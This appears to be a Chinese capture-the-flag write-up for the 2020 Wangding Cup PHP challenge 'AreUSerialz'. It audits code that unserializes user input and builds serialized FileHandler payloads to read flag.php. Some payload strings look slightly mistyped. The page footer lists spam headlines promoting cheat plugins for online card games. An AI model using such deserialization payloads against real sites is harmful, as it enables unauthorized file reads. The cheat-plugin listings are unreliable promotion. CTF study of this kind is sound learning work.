[网鼎杯 2020 青龙组]AreUSerialz1
创始人
2024-11-15 10:11:09
0

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]:
";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
            $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

根据构造函数is_valid($s) 可知,

$s的值ASCII码范围得在32<=$s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    public $op=2;
    public $filename="flag.php";
}
 O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关内容

热门资讯

曝光秘籍!海商娱乐辅助器,we... 曝光秘籍!海商娱乐辅助器,wepoker辅助脚本,详细教程(有挂存在)1、进入游戏-大厅左侧-新手福...
七分钟辅助!wepoker怎么... 七分钟辅助!wepoker怎么设置房间,aapoker能控制牌吗,详细教程(有挂解惑)在进入wepo...
一分钟揭秘!hhpoker辅助... 一分钟揭秘!hhpoker辅助器,亲友联盟能开挂不,总结教程(证实有挂)1、打开软件启动之后找到中间...
了解手册!广东雀神智能插件是真... 了解手册!广东雀神智能插件是真有挂,山西扣点免费辅助下载,详细教程(确实有挂)1、下载好广东雀神智能...
第8分钟辅助!aapoker发... 第8分钟辅助!aapoker发牌逻辑,哈糖大菠萝有挂吗,详细教程(有挂神器)1、超多福利:超高返利,...
发现一款!德州真人透视脚本,上... 发现一款!德州真人透视脚本,上饶中至辅助软件怎么用,机巧教程(真实有挂)1、起透看视 上饶中至辅助软...
普及法门!广东雀神麻雀辅助神器... 普及法门!广东雀神麻雀辅助神器,越乡游义乌辅助器免费试用,详细教程(证实有挂)1、起透看视 广东雀神...
第八分钟辅助!wepokerp... 第八分钟辅助!wepokerplus透视脚本免费,WePOker有没有透视方法,详细教程(了解有挂)...
此事备受玩家关注!hhpoke... 此事备受玩家关注!hhpoker为什么一直输,闲闲辅助器,练习教程(证实有挂)1.闲闲辅助器 选牌创...
推荐讲义!新超凡软甲辅助,微信... 推荐讲义!新超凡软甲辅助,微信开心泉州辅助,详细教程(有挂秘诀)新超凡软甲辅助透视方法中分为三种模型...